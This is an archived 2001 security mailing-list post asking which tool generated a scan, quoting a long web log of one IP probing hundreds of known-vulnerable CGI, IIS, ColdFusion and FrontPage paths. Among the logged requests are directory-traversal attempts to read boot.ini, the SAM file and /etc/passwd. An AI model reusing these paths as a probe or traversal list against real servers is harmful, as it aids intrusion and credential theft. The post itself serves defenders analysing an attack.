linux www log file

From: Tim Hollebeek (thollebeekat_private)
Date: Fri Jun 08 2001 - 06:41:44 PDT
Next message: Ruth Milner: "followup on hacktivism example"
Previous message: Graham Bevan: "Re: SGI RPC broadcast"
Next in thread: Tony Lambiris: "Re: linux www log file"
Reply: Tony Lambiris: "Re: linux www log file"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Anyone know the tool that did this?  It's certainly the most extensive IIS
scan I've ever seen.

> [04/Jun/2001:14:30:03 / 61.139.34.233
> [04/Jun/2001:14:30:49 //....../ 61.139.34.233
> [04/Jun/2001:14:30:51 //....../autoexec.bat 61.139.34.233
> [04/Jun/2001:14:30:52 //....../config.sys 61.139.34.233
> [04/Jun/2001:14:30:54 //....../etc/hosts 61.139.34.233
> [04/Jun/2001:14:30:56 //../../../../ 61.139.34.233
> [04/Jun/2001:14:30:58 //../../../../../../../boot.ini 61.139.34.233
> [04/Jun/2001:14:30:59 //../../../../../winnt/repair/sam._ 
> 61.139.34.233
> [04/Jun/2001:14:31:01 //../../../../config.sys 61.139.34.233
> [04/Jun/2001:14:31:03 //../../../../etc/hosts 61.139.34.233
> [04/Jun/2001:14:31:05 //.access 61.139.34.233
> [04/Jun/2001:14:31:06 //.bash_history 61.139.34.233
> [04/Jun/2001:14:31:08 //.htaccess 61.139.34.233
> [04/Jun/2001:14:31:10 //.html/............./config.sys 61.139.34.233
> [04/Jun/2001:14:31:11 //.html/............/autoexec.bat 61.139.34.233
> [04/Jun/2001:14:31:13 //.htpasswd 61.139.34.233
> [04/Jun/2001:14:31:16 //.passwd 61.139.34.233
> [04/Jun/2001:14:31:18 //_AuthChangeUrl 61.139.34.233
> [04/Jun/2001:14:31:20 //_private 61.139.34.233
> [04/Jun/2001:14:31:22 //_private/form_results.txt 61.139.34.233
> [04/Jun/2001:14:31:24 //_private/orders.txt 61.139.34.233
> [04/Jun/2001:14:31:26 //_private/register.txt 61.139.34.233
> [04/Jun/2001:14:31:28 //_private/registrations.txt 61.139.34.233
> [04/Jun/2001:14:31:30 //_vti_bin/_vti_aut/dvwssr.dll 61.139.34.233
> [04/Jun/2001:14:31:32 //_vti_bin/fpcount.exe 61.139.34.233
> [04/Jun/2001:14:31:34 //_vti_bin/shtml.dll 61.139.34.233
> [04/Jun/2001:14:31:36 //_vti_bin/shtml.exe 61.139.34.233
> [04/Jun/2001:14:31:38 //_vti_inf.html 61.139.34.233
> [04/Jun/2001:14:31:40 //_vti_pvt 61.139.34.233
> [04/Jun/2001:14:31:42 //_vti_pvt/ 61.139.34.233
> [04/Jun/2001:14:31:44 //_vti_pvt/administrator.pwd 61.139.34.233
> [04/Jun/2001:14:31:45 //_vti_pvt/administrators.pwd 61.139.34.233
> [04/Jun/2001:14:31:47 //_vti_pvt/author.log 61.139.34.233
> [04/Jun/2001:14:31:49 //_vti_pvt/authors.pwd 61.139.34.233
> [04/Jun/2001:14:31:51 //_vti_pvt/service.grp 61.139.34.233
> [04/Jun/2001:14:31:53 //_vti_pvt/service.pwd 61.139.34.233
> [04/Jun/2001:14:31:55 //_vti_pvt/shtml.exe 61.139.34.233
> [04/Jun/2001:14:31:57 //_vti_pvt/users.pwd 61.139.34.233
> [04/Jun/2001:14:31:59 //~bin 61.139.34.233
> [04/Jun/2001:14:32:00 //~guest 61.139.34.233
> [04/Jun/2001:14:32:02 //~log 61.139.34.233
> [04/Jun/2001:14:32:04 //~logs 61.139.34.233
> [04/Jun/2001:14:32:06 //~lp 61.139.34.233
> [04/Jun/2001:14:32:08 //~named 61.139.34.233
> [04/Jun/2001:14:32:10 //~root 61.139.34.233
> [04/Jun/2001:14:32:12 //~test 61.139.34.233
> [04/Jun/2001:14:32:14 //~tmp 61.139.34.233
> [04/Jun/2001:14:32:16 //Admin_files/order.log 61.139.34.233
> [04/Jun/2001:14:32:17 //admisapi/fpadmin.htm 61.139.34.233
> [04/Jun/2001:14:32:22 //adsamples/config/site.csc 61.139.34.233
> [04/Jun/2001:14:32:24 //AdvWorks/equipment/catalog_type.asp 
> 61.139.34.233
> [04/Jun/2001:14:32:26 //ASPSamp/AdvWorks/equipment/catalog_type.asp
> 61.139.34.233
> [04/Jun/2001:14:32:27 //bb-dnbd/bb-hist.sh 61.139.34.233
> [04/Jun/2001:14:32:29 //bin 61.139.34.233
> [04/Jun/2001:14:32:30 //carbo.dll 61.139.34.233
> [04/Jun/2001:14:32:33 //catalog.nsf 61.139.34.233
> [04/Jun/2001:14:32:34 //ccbill/secure/ccbill.log 61.139.34.233
> [04/Jun/2001:14:32:36 //cfappman/index.cfm 61.139.34.233
> [04/Jun/2001:14:32:38 //cfdocs/cfmlsyntaxcheck.cfm 61.139.34.233
> [04/Jun/2001:14:32:40 //cfdocs/exampleapp/docs/sourcewindow.cfm
> 61.139.34.233
> [04/Jun/2001:14:32:42 //cfdocs/exampleapp/email/getfile.cfm 
> 61.139.34.233
> [04/Jun/2001:14:32:43
> //cfdocs/exampleapp/email/getfile.cfm?filename=c:oot.ini 
> 61.139.34.233
> [04/Jun/2001:14:32:45 //cfdocs/examples/cvbeans/beaninfo.cfm 
> 61.139.34.233
> [04/Jun/2001:14:32:47 //cfdocs/examples/httpclient/mainframeset.cfm
> 61.139.34.233
> [04/Jun/2001:14:32:49 //cfdocs/examples/parks/detail.cfm 61.139.34.233
> [04/Jun/2001:14:32:50 //cfdocs/expelval/displayopenedfile.cfm 
> 61.139.34.233
> [04/Jun/2001:14:32:52 //cfdocs/expelval/exprcalc.cfm 61.139.34.233
> [04/Jun/2001:14:32:54 //cfdocs/expelval/openfile.cfm 61.139.34.233
> [04/Jun/2001:14:32:55 //cfdocs/expelval/sendmail.cfm 61.139.34.233
> [04/Jun/2001:14:32:57 //cfdocs/expeval/displayopenedfile.cfm 
> 61.139.34.233
> [04/Jun/2001:14:32:58 //cfdocs/expeval/ExprCalc.cfm 61.139.34.233
> [04/Jun/2001:14:33:00 //cfdocs/expeval/exprcalc.cfm 61.139.34.233
> [04/Jun/2001:14:33:02 //cfdocs/expeval/openfile.cfm 61.139.34.233
> [04/Jun/2001:14:33:04 //cfdocs/expeval/sendmail.cfm 61.139.34.233
> [04/Jun/2001:14:33:05 //cfdocs/root.cfm 61.139.34.233
> [04/Jun/2001:14:33:07 //cfdocs/snippets/evaluate.cfm 61.139.34.233
> [04/Jun/2001:14:33:09 //cfdocs/snippets/fileexists.cfm 61.139.34.233
> [04/Jun/2001:14:33:11 //cfdocs/snippets/gettempdirectory.cfm 
> 61.139.34.233
> [04/Jun/2001:14:33:16 //cfdocs/snippets/viewexample.cfm 61.139.34.233
> [04/Jun/2001:14:33:18 //cfide/administrator/index.cfm 61.139.34.233
> [04/Jun/2001:14:33:20 //cfusion/cfapps/forums/data/forums.mdb 
> 61.139.34.233
> [04/Jun/2001:14:33:23 
> //cfusion/cfapps/security/data/realm.mdb 61.139.34.233
> [04/Jun/2001:14:33:25 //cfusion/cfapps/security/realm_.mdb 
> 61.139.34.233
> [04/Jun/2001:14:33:27 //cfusion/database/cfsnippets.mdb 61.139.34.233
> [04/Jun/2001:14:33:29 //cfusion/database/cypress.mdb 61.139.34.233
> [04/Jun/2001:14:33:31 //cfusion/database/smpolicy.mdb 61.139.34.233
> [04/Jun/2001:14:33:33 //cgi 61.139.34.233
> [04/Jun/2001:14:33:35 //cgibin 61.139.34.233
> [04/Jun/2001:14:33:37 //cgi-bin 61.139.34.233
> [04/Jun/2001:14:33:39 //cgi-bin/add_ftp.cgi 61.139.34.233
> [04/Jun/2001:14:33:41 //cgi-bin/Admin_files/order.log 61.139.34.233
> [04/Jun/2001:14:33:42 //cgi-bin/adp 61.139.34.233
> [04/Jun/2001:14:33:44 //cgi-bin/adpassword.txt 61.139.34.233
> [04/Jun/2001:14:33:45 //cgi-bin/ads.setup 61.139.34.233
> [04/Jun/2001:14:33:47 //cgi-bin/aglimpse 61.139.34.233
> [04/Jun/2001:14:33:49 //cgi-bin/aglimpse.cgi 61.139.34.233
> [04/Jun/2001:14:33:51 //cgi-bin/alibaba.pl 61.139.34.233
> [04/Jun/2001:14:33:52 //cgi-bin/alibaba.pl\dir 61.139.34.233
> [04/Jun/2001:14:33:54 //cgi-bin/allmanage.pl 61.139.34.233
> [04/Jun/2001:14:33:56 //cgi-bin/allmanage/adp 61.139.34.233
> [04/Jun/2001:14:33:58 //cgi-bin/allmanage/k 61.139.34.233
> [04/Jun/2001:14:33:59 //cgi-bin/allmanage/settings.cfg 61.139.34.233
> [04/Jun/2001:14:34:01 //cgi-bin/allmanage/userfile.dat 61.139.34.233
> [04/Jun/2001:14:34:03 //cgi-bin/allmanageup.pl 61.139.34.233
> [04/Jun/2001:14:34:04 //cgi-bin/anyboard.cgi 61.139.34.233
> [04/Jun/2001:14:34:06 //cgi-bin/AnyForm 61.139.34.233
> [04/Jun/2001:14:34:09 //cgi-bin/AnyForm.cgi 61.139.34.233
> [04/Jun/2001:14:34:10 //cgi-bin/AnyForm2 61.139.34.233
> [04/Jun/2001:14:34:13 //cgi-bin/archie 61.139.34.233
> [04/Jun/2001:14:34:14 //cgi-bin/architext_query.pl 61.139.34.233
> [04/Jun/2001:14:34:16 //cgi-bin/ash 61.139.34.233
> [04/Jun/2001:14:34:17 //cgi-bin/AT-admin.cgi 61.139.34.233
> [04/Jun/2001:14:34:19 //cgi-bin/AT-generate.cgi 61.139.34.233
> [04/Jun/2001:14:34:21 //cgi-bin/auktion.pl 61.139.34.233
> [04/Jun/2001:14:34:23 //cgi-bin/authorize/dbmfiles/users 61.139.34.233
> [04/Jun/2001:14:34:24 //cgi-bin/ax.cgi 61.139.34.233
> [04/Jun/2001:14:34:26 //cgi-bin/ax-admin.cgi 61.139.34.233
> [04/Jun/2001:14:34:27 //cgi-bin/axs.cgi 61.139.34.233
> [04/Jun/2001:14:34:29 //cgi-bin/bash 61.139.34.233
> [04/Jun/2001:14:34:31 //cgi-bin/bb-hist.sh 61.139.34.233
> [04/Jun/2001:14:34:33 //cgi-bin/bigconf.cgi 61.139.34.233
> [04/Jun/2001:14:34:34 //cgi-bin/bigconf.cgi 61.139.34.233
> [04/Jun/2001:14:34:36 //cgi-bin/bizdb1-search.cgi 61.139.34.233
> [04/Jun/2001:14:34:38 //cgi-bin/bnbform 61.139.34.233
> [04/Jun/2001:14:34:40 //cgi-bin/bnbform.cgi 61.139.34.233
> [04/Jun/2001:14:34:42 //cgi-bin/cachemgr.cgi 61.139.34.233
> [04/Jun/2001:14:34:44 //cgi-bin/calendar 61.139.34.233
> [04/Jun/2001:14:34:46 //cgi-bin/calender.pl 61.139.34.233
> [04/Jun/2001:14:34:48 //cgi-bin/calender_admin.pl 61.139.34.233
> [04/Jun/2001:14:34:50 //cgi-bin/campas 61.139.34.233
> [04/Jun/2001:14:34:52 //cgi-bin/carbo.dll 61.139.34.233
> [04/Jun/2001:14:34:53 //cgi-bin/cart.pl 61.139.34.233
> [04/Jun/2001:14:34:56 //cgi-bin/ceilidh.exe/ceilidh/?N4 61.139.34.233
> [04/Jun/2001:14:34:58 //cgi-bin/cgimail.exe 61.139.34.233
> [04/Jun/2001:14:35:00 //cgi-bin/Cgitest.exe 61.139.34.233
> [04/Jun/2001:14:35:03 //cgi-bin/cgiwrap 61.139.34.233
> [04/Jun/2001:14:35:05 //cgi-bin/classified.cgi 61.139.34.233
> [04/Jun/2001:14:35:07 //cgi-bin/classifieds 61.139.34.233
> [04/Jun/2001:14:35:09 //cgi-bin/classifieds.cgi 61.139.34.233
> [04/Jun/2001:14:35:11 //cgi-bin/clickresponder.pl 61.139.34.233
> [04/Jun/2001:14:35:13 //cgi-bin/cmd.exe 61.139.34.233
> [04/Jun/2001:14:35:15 //cgi-bin/Count.cgi 61.139.34.233
> [04/Jun/2001:14:35:17 //cgi-bin/counterfiglet 61.139.34.233
> [04/Jun/2001:14:35:19 //cgi-bin/csh 61.139.34.233
> [04/Jun/2001:14:35:21 //cgi-bin/date 61.139.34.233
> [04/Jun/2001:14:35:27 //cgi-bin/day5datacopier.cgi 61.139.34.233
> [04/Jun/2001:14:35:29 //cgi-bin/day5notifier 61.139.34.233
> [04/Jun/2001:14:35:31 //cgi-bin/dbmlparser.exe 61.139.34.233
> [04/Jun/2001:14:35:33 //cgi-bin/dig.cgi 61.139.34.233
> [04/Jun/2001:14:35:35 //cgi-bin/dnewsweb 61.139.34.233
> [04/Jun/2001:14:35:38 //cgi-bin/download.cgi 61.139.34.233
> [04/Jun/2001:14:35:40 //cgi-bin/dumpenv.pl 61.139.34.233
> [04/Jun/2001:14:35:43 //cgi-bin/edit.pl 61.139.34.233
> [04/Jun/2001:14:35:45 //cgi-bin/environ.cgi 61.139.34.233
> [04/Jun/2001:14:35:48 //cgi-bin/excite 61.139.34.233
> [04/Jun/2001:14:35:50 //cgi-bin/faxsurvey 61.139.34.233
> [04/Jun/2001:14:35:52 //cgi-bin/filemail 61.139.34.233
> [04/Jun/2001:14:35:55 //cgi-bin/filemail.pl 61.139.34.233
> [04/Jun/2001:14:35:57 //cgi-bin/files.pl 61.139.34.233
> [04/Jun/2001:14:35:58 //cgi-bin/finger 61.139.34.233
> [04/Jun/2001:14:36:01 //cgi-bin/finger.cgi 61.139.34.233
> [04/Jun/2001:14:36:02 //cgi-bin/finger.pl 61.139.34.233
> [04/Jun/2001:14:36:04 //cgi-bin/flexform 61.139.34.233
> [04/Jun/2001:14:36:06 //cgi-bin/flexform.cgi 61.139.34.233
> [04/Jun/2001:14:36:08 //cgi-bin/FormHandler.cgi 61.139.34.233
> [04/Jun/2001:14:36:10 //cgi-bin/formmail.pl 61.139.34.233
> [04/Jun/2001:14:36:12 //cgi-bin/fortune 61.139.34.233
> [04/Jun/2001:14:36:13 //cgi-bin/fpcount.exe 61.139.34.233
> [04/Jun/2001:14:36:15 //cgi-bin/fpexplore.exe 61.139.34.233
> [04/Jun/2001:14:36:17 //cgi-bin/fpexplorer.exe 61.139.34.233
> [04/Jun/2001:14:36:19 //cgi-bin/ftp/ftp.pl 61.139.34.233
> [04/Jun/2001:14:36:20 //cgi-bin/get32.exe 61.139.34.233
> [04/Jun/2001:14:36:22 //cgi-bin/get32.exe\dir 61.139.34.233
> [04/Jun/2001:14:36:24 //cgi-bin/gH.cgi 61.139.34.233
> [04/Jun/2001:14:36:26 //cgi-bin/glimpse 61.139.34.233
> [04/Jun/2001:14:36:28 //cgi-bin/guestbook.cgi 61.139.34.233
> [04/Jun/2001:14:36:30 //cgi-bin/guestbook.pl 61.139.34.233
> [04/Jun/2001:14:36:31 //cgi-bin/GW5 61.139.34.233
> [04/Jun/2001:14:36:33 //cgi-bin/GW5/GWWEB.EXE 61.139.34.233
> [04/Jun/2001:14:36:35 //cgi-bin/GWWEB.EXE 61.139.34.233
> [04/Jun/2001:14:36:37 //cgi-bin/handler 61.139.34.233
> [04/Jun/2001:14:36:38 //cgi-bin/handler.cgi 61.139.34.233
> [04/Jun/2001:14:36:40 //cgi-bin/htimage.exe 61.139.34.233
> [04/Jun/2001:14:36:42 //cgi-bin/htmlscript 61.139.34.233
> [04/Jun/2001:14:36:43 //cgi-bin/htsearch 61.139.34.233
> [04/Jun/2001:14:36:45 //cgi-bin/iisadmpwd/achg.htr 61.139.34.233
> [04/Jun/2001:14:36:47 //cgi-bin/iisadmpwd/aexp.htr 61.139.34.233
> [04/Jun/2001:14:36:48 //cgi-bin/iisadmpwd/aexp2.htr 61.139.34.233
> [04/Jun/2001:14:36:50 //cgi-bin/iisadmpwd/anot.htr 61.139.34.233
> [04/Jun/2001:14:36:52 //cgi-bin/imagemap.exe 61.139.34.233
> [04/Jun/2001:14:36:53 //cgi-bin/info2www 61.139.34.233
> [04/Jun/2001:14:36:55 //cgi-bin/infosrch.cgi 61.139.34.233
> [04/Jun/2001:14:36:57 //cgi-bin/input.bat 61.139.34.233
> [04/Jun/2001:14:36:58 //cgi-bin/input2.bat 61.139.34.233
> [04/Jun/2001:14:37:00 //cgi-bin/jj 61.139.34.233
> [04/Jun/2001:14:37:01 //cgi-bin/k 61.139.34.233
> [04/Jun/2001:14:37:03 //cgi-bin/ksh 61.139.34.233
> [04/Jun/2001:14:37:05 //cgi-bin/loadpage.cgi 61.139.34.233
> [04/Jun/2001:14:37:06 //cgi-bin/lwgate 61.139.34.233
> [04/Jun/2001:14:37:08 //cgi-bin/LWGate.cgi 61.139.34.233
> [04/Jun/2001:14:37:11 //cgi-bin/lwgate.cgi 61.139.34.233
> [04/Jun/2001:14:37:12 //cgi-bin/MachineInfo 61.139.34.233
> [04/Jun/2001:14:37:14 //cgi-bin/mail 61.139.34.233
> [04/Jun/2001:14:37:15 //cgi-bin/mailform.exe 61.139.34.233
> [04/Jun/2001:14:37:17 //cgi-bin/maillist.pl 61.139.34.233
> [04/Jun/2001:14:37:19 //cgi-bin/makechanges/easysteps/easysteps.pl
> 61.139.34.233
> [04/Jun/2001:14:37:21 //cgi-bin/man.sh 61.139.34.233
> [04/Jun/2001:14:37:22 //cgi-bin/mlog.phtml 61.139.34.233
> [04/Jun/2001:14:37:24 //cgi-bin/mylog.phtml 61.139.34.233
> [04/Jun/2001:14:37:29 //cgi-bin/netstat 61.139.34.233
> [04/Jun/2001:14:37:31 //cgi-bin/nlog-smb.pl 61.139.34.233
> [04/Jun/2001:14:37:33 //cgi-bin/nph-error.pl 61.139.34.233
> [04/Jun/2001:14:37:35 //cgi-bin/nph-publish 61.139.34.233
> [04/Jun/2001:14:37:37 //cgi-bin/nph-test-cgi 61.139.34.233
> [04/Jun/2001:14:37:41 //cgi-bin/pals-cgi 61.139.34.233
> [04/Jun/2001:14:37:43 //cgi-bin/passwd 61.139.34.233
> [04/Jun/2001:14:37:45 //cgi-bin/passwd.txt 61.139.34.233
> [04/Jun/2001:14:37:47 //cgi-bin/password 61.139.34.233
> [04/Jun/2001:14:37:50 //cgi-bin/password.txt 61.139.34.233
> [04/Jun/2001:14:37:52 //cgi-bin/perl 61.139.34.233
> [04/Jun/2001:14:37:54 //cgi-bin/perl.exe 61.139.34.233
> [04/Jun/2001:14:37:56 //cgi-bin/perlshop.cgi 61.139.34.233
> [04/Jun/2001:14:37:59 //cgi-bin/pfdisplay 61.139.34.233
> [04/Jun/2001:14:38:01 //cgi-bin/pfdisplay.cgi 61.139.34.233
> [04/Jun/2001:14:38:03 //cgi-bin/phf 61.139.34.233
> [04/Jun/2001:14:38:05 //cgi-bin/phf.pp 61.139.34.233
> [04/Jun/2001:14:38:07 //cgi-bin/php 61.139.34.233
> [04/Jun/2001:14:38:09 //cgi-bin/php.cgi 61.139.34.233
> [04/Jun/2001:14:38:11 //cgi-bin/phpscan 61.139.34.233
> [04/Jun/2001:14:38:14 //cgi-bin/plusmail 61.139.34.233
> [04/Jun/2001:14:38:16 //cgi-bin/postcard.pl 61.139.34.233
> [04/Jun/2001:14:38:18 //cgi-bin/post-query 61.139.34.233
> [04/Jun/2001:14:38:20 //cgi-bin/ppdscgi.exe 61.139.34.233
> [04/Jun/2001:14:38:23 //cgi-bin/printenv 61.139.34.233
> [04/Jun/2001:14:38:25 //cgi-bin/process_bug.cgi 61.139.34.233
> [04/Jun/2001:14:38:27 //cgi-bin/query 61.139.34.233
> [04/Jun/2001:14:38:29 //cgi-bin/redirect 61.139.34.233
> [04/Jun/2001:14:38:31 //cgi-bin/responder 61.139.34.233
> [04/Jun/2001:14:38:33 //cgi-bin/responder.cgi 61.139.34.233
> [04/Jun/2001:14:38:37 //cgi-bin/rguest.exe 61.139.34.233
> [04/Jun/2001:14:38:39 //cgi-bin/rksh 61.139.34.233
> [04/Jun/2001:14:38:41 //cgi-bin/rpm_query 61.139.34.233
> [04/Jun/2001:14:38:44 //cgi-bin/rsh 61.139.34.233
> [04/Jun/2001:14:38:46 //cgi-bin/rwwwshell.pl 61.139.34.233
> [04/Jun/2001:14:38:48 //cgi-bin/sam._ 61.139.34.233
> [04/Jun/2001:14:38:50
> //cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1 
> 61.139.34.233
> [04/Jun/2001:14:38:52 //cgi-bin/search.cgi 61.139.34.233
> [04/Jun/2001:14:38:55 //cgi-bin/search97.vts 61.139.34.233
> [04/Jun/2001:14:38:57 //cgi-bin/sendform.cgi 61.139.34.233
> [04/Jun/2001:14:38:59 //cgi-bin/sendtemp.pl 61.139.34.233
> [04/Jun/2001:14:39:02 //cgi-bin/settings.cfg 61.139.34.233
> [04/Jun/2001:14:39:04 //cgi-bin/sh 61.139.34.233
> [04/Jun/2001:14:39:06 //cgi-bin/snorkerz.bat 61.139.34.233
> [04/Jun/2001:14:39:08 //cgi-bin/snorkerz.cmd 61.139.34.233
> [04/Jun/2001:14:39:10 //cgi-bin/sojourn 61.139.34.233
> [04/Jun/2001:14:39:12 //cgi-bin/status.cgi 61.139.34.233
> [04/Jun/2001:14:39:15 //cgi-bin/store.cgi 61.139.34.233
> [04/Jun/2001:14:39:17 //cgi-bin/survey 61.139.34.233
> [04/Jun/2001:14:39:19 //cgi-bin/survey.cgi 61.139.34.233
> [04/Jun/2001:14:39:21 //cgi-bin/tcsh 61.139.34.233
> [04/Jun/2001:14:39:24 //cgi-bin/test.bat 61.139.34.233
> [04/Jun/2001:14:39:26 //cgi-bin/test-cgi 61.139.34.233
> [04/Jun/2001:14:39:28 //cgi-bin/test-cgi.tcl 61.139.34.233
> [04/Jun/2001:14:39:30 //cgi-bin/test-env 61.139.34.233
> [04/Jun/2001:14:39:36 //cgi-bin/textcounter.pl 61.139.34.233
> [04/Jun/2001:14:39:38 //cgi-bin/tpgnrock 61.139.34.233
> [04/Jun/2001:14:39:40 //cgi-bin/tst.bat 61.139.34.233
> [04/Jun/2001:14:39:43 //cgi-bin/tst.bat\dir 61.139.34.233
> [04/Jun/2001:14:39:45 //cgi-bin/UltraBoard.cgi 61.139.34.233
> [04/Jun/2001:14:39:47 //cgi-bin/UltraBoard.pl 61.139.34.233
> [04/Jun/2001:14:39:49 //cgi-bin/unlg1.1 61.139.34.233
> [04/Jun/2001:14:39:52 //cgi-bin/unlg1.2 61.139.34.233
> [04/Jun/2001:14:39:54 //cgi-bin/upload.pl 61.139.34.233
> [04/Jun/2001:14:39:56 //cgi-bin/uptime 61.139.34.233
> [04/Jun/2001:14:39:59 //cgi-bin/userfile.dat 61.139.34.233
> [04/Jun/2001:14:40:01 //cgi-bin/view-source 61.139.34.233
> [04/Jun/2001:14:40:04 //cgi-bin/visadmin.exe 61.139.34.233
> [04/Jun/2001:14:40:06 //cgi-bin/visitor.exe 61.139.34.233
> [04/Jun/2001:14:40:09 //cgi-bin/w3-msql 61.139.34.233
> [04/Jun/2001:14:40:11 //cgi-bin/w3-msql/ 61.139.34.233
> [04/Jun/2001:14:40:13 //cgi-bin/w3-sql 61.139.34.233
> [04/Jun/2001:14:40:16 //cgi-bin/w3tvars.pm 61.139.34.233
> [04/Jun/2001:14:40:18 //cgi-bin/wais.pl 61.139.34.233
> [04/Jun/2001:14:40:21 //cgi-bin/webbbs.cgi 61.139.34.233
> [04/Jun/2001:14:40:23 //cgi-bin/webdist.cgi 61.139.34.233
> [04/Jun/2001:14:40:26 //cgi-bin/webgais 61.139.34.233
> [04/Jun/2001:14:40:28 //cgi-bin/webmap.cgi 61.139.34.233
> [04/Jun/2001:14:40:31 //cgi-bin/webplus 61.139.34.233
> [04/Jun/2001:14:40:33 //cgi-bin/websendmail 61.139.34.233
> [04/Jun/2001:14:40:36 //cgi-bin/webwho.pl 61.139.34.233
> [04/Jun/2001:14:40:38 //cgi-bin/wguest.exe 61.139.34.233
> [04/Jun/2001:14:40:40 //cgi-bin/whois_raw.cgi 61.139.34.233
> [04/Jun/2001:14:40:43 //cgi-bin/windmail.exe 61.139.34.233
> [04/Jun/2001:14:40:45 //cgi-bin/wrap 61.139.34.233
> [04/Jun/2001:14:40:48 //cgi-bin/wwwadmin.pl 61.139.34.233
> [04/Jun/2001:14:40:50 //cgi-bin/wwwboard.pl 61.139.34.233
> [04/Jun/2001:14:40:53 //cgi-bin/www-sql 61.139.34.233
> [04/Jun/2001:14:40:56 //cgi-bin/zsh 61.139.34.233
> [04/Jun/2001:14:40:59 //cgi-dos/args.bat 61.139.34.233
> [04/Jun/2001:14:41:03 //cgi-dos/args.cmd 61.139.34.233
> [04/Jun/2001:14:41:08 //cgi-local 61.139.34.233
> [04/Jun/2001:14:41:12 //cgi-shl/win-c-sample.exe 61.139.34.233
> [04/Jun/2001:14:41:17 //cgi-src 61.139.34.233
> [04/Jun/2001:14:41:21 //cgi-src/phf.c 61.139.34.233
> [04/Jun/2001:14:41:23 / 216.0.86.82
> [04/Jun/2001:14:41:26 //cgi-win 61.139.34.233
> [04/Jun/2001:14:41:30 //cgi-win/uploader.exe 61.139.34.233
> [04/Jun/2001:14:41:35 //com1 61.139.34.233
> [04/Jun/2001:14:41:40 //com2 61.139.34.233
> [04/Jun/2001:14:41:44 //com3 61.139.34.233
> [04/Jun/2001:14:41:48 //com4 61.139.34.233
> [04/Jun/2001:14:41:54 //con/con 61.139.34.233
> [04/Jun/2001:14:41:59 //config/checks.txt 61.139.34.233
> [04/Jun/2001:14:42:04 //config/import.txt 61.139.34.233
> [04/Jun/2001:14:42:09 //config/mountain.cfg 61.139.34.233
> [04/Jun/2001:14:42:14 //config/orders.txt 61.139.34.233
> [04/Jun/2001:14:42:18 //cool-logs/mlog.html 61.139.34.233
> [04/Jun/2001:14:42:23 //cool-logs/mylog.html 61.139.34.233
> [04/Jun/2001:14:42:28 //database.nsf 61.139.34.233
> [04/Jun/2001:14:42:33 //default.asp. 61.139.34.233
> [04/Jun/2001:14:42:38 //default.asp::$DATA 61.139.34.233
> [04/Jun/2001:14:42:43 //doc 61.139.34.233
> [04/Jun/2001:14:42:47 //domcfg.nsf 61.139.34.233
> [04/Jun/2001:14:42:51 //domlog.nsf 61.139.34.233
> [04/Jun/2001:14:42:55 //getfile.cfm 61.139.34.233
> [04/Jun/2001:14:42:59 //global.asa+.htr 61.139.34.233
> [04/Jun/2001:14:43:03 //hosts.dat 61.139.34.233
> [04/Jun/2001:14:43:08 //iisadmpwd/achg.htr 61.139.34.233
> [04/Jun/2001:14:43:12 //iisadmpwd/aexp.htr 61.139.34.233
> [04/Jun/2001:14:43:16 //iisadmpwd/aexp2.htr 61.139.34.233
> [04/Jun/2001:14:43:19 //iisadmpwd/aexp2b.htr 61.139.34.233
> [04/Jun/2001:14:43:23 //iisadmpwd/aexp3.htr 61.139.34.233
> [04/Jun/2001:14:43:28 //iisadmpwd/aexp4.htr 61.139.34.233
> [04/Jun/2001:14:43:32 //iisadmpwd/aexp4b.htr 61.139.34.233
> [04/Jun/2001:14:43:36 //iisadmpwd/anot.htr 61.139.34.233
> [04/Jun/2001:14:43:40 //iisadmpwd/anot3.htr 61.139.34.233
> [04/Jun/2001:14:43:44 //iishelp/iis/misc/iirturnh.htw 61.139.34.233
> [04/Jun/2001:14:43:48 //iissamples/exair/howitworks/code.asp 
> 61.139.34.233
> [04/Jun/2001:14:43:52 //iissamples/exair/howitworks/codebrws.asp
> 61.139.34.233
> [04/Jun/2001:14:43:56 //iissamples/exair/search/advsearch.asp 
> 61.139.34.233
> [04/Jun/2001:14:43:59 //iissamples/exair/search/qfullhit.htw 
> 61.139.34.233
> [04/Jun/2001:14:44:03 //iissamples/exair/search/qsumrhit.htw 
> 61.139.34.233
> [04/Jun/2001:14:44:06 //iissamples/iissamples/query.asp 61.139.34.233
> [04/Jun/2001:14:44:09 //iissamples/issamples/oop/qfullhit.htw 
> 61.139.34.233
> [04/Jun/2001:14:44:13 //iissamples/issamples/oop/qsumrhit.htw 
> 61.139.34.233
> [04/Jun/2001:14:44:16 //iissamples/sdk/asp/docs/codebrws.asp 
> 61.139.34.233
> [04/Jun/2001:14:44:20 //log 61.139.34.233
> [04/Jun/2001:14:44:23 //log.nsf 61.139.34.233
> [04/Jun/2001:14:44:27 //logs 61.139.34.233
> [04/Jun/2001:14:44:30
> //mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../
../../../etc/p
> asswd 61.139.34.233
> [04/Jun/2001:14:44:34 //mall_log_files/order.log 61.139.34.233
> [04/Jun/2001:14:44:38 //manage/cgi/cgiproc 61.139.34.233
> [04/Jun/2001:14:44:42 //msadc/msadcs.dll 61.139.34.233
> [04/Jun/2001:14:44:46 //msadc/samples/adctest.asp 61.139.34.233
> [04/Jun/2001:14:44:50 //msadc/Samples/SELECTOR/codebrws.cfm 
> 61.139.34.233
> [04/Jun/2001:14:44:54 //msads/Samples/SELECTOR/showcode.asp 
> 61.139.34.233
> [04/Jun/2001:14:44:58 //names.nsf 61.139.34.233
> [04/Jun/2001:14:45:03 //ncl_items.html 61.139.34.233
> [04/Jun/2001:14:45:07 //order/order.log 61.139.34.233
> [04/Jun/2001:14:45:11 //orders/checks.txt 61.139.34.233
> [04/Jun/2001:14:45:15 //orders/import.txt 61.139.34.233
> [04/Jun/2001:14:45:19 //orders/mountain.cfg 61.139.34.233
> [04/Jun/2001:14:45:23 //orders/order.log 61.139.34.233
> [04/Jun/2001:14:45:27 //orders/orders.txt 61.139.34.233
> [04/Jun/2001:14:45:31 //pals-cgi 61.139.34.233
> [04/Jun/2001:14:45:35 //passwd 61.139.34.233
> [04/Jun/2001:14:45:40 //passwd.txt 61.139.34.233
> [04/Jun/2001:14:45:45 //password 61.139.34.233
> [04/Jun/2001:14:45:50 //password.txt 61.139.34.233
> [04/Jun/2001:14:45:56 //PDG_Cart/order.log 61.139.34.233
> [04/Jun/2001:14:46:01 //PDG_Cart/shopper.conf 61.139.34.233
> [04/Jun/2001:14:46:06 //ping 61.139.34.233
> [04/Jun/2001:14:46:11 //piranha/secure/passwd.php3 61.139.34.233
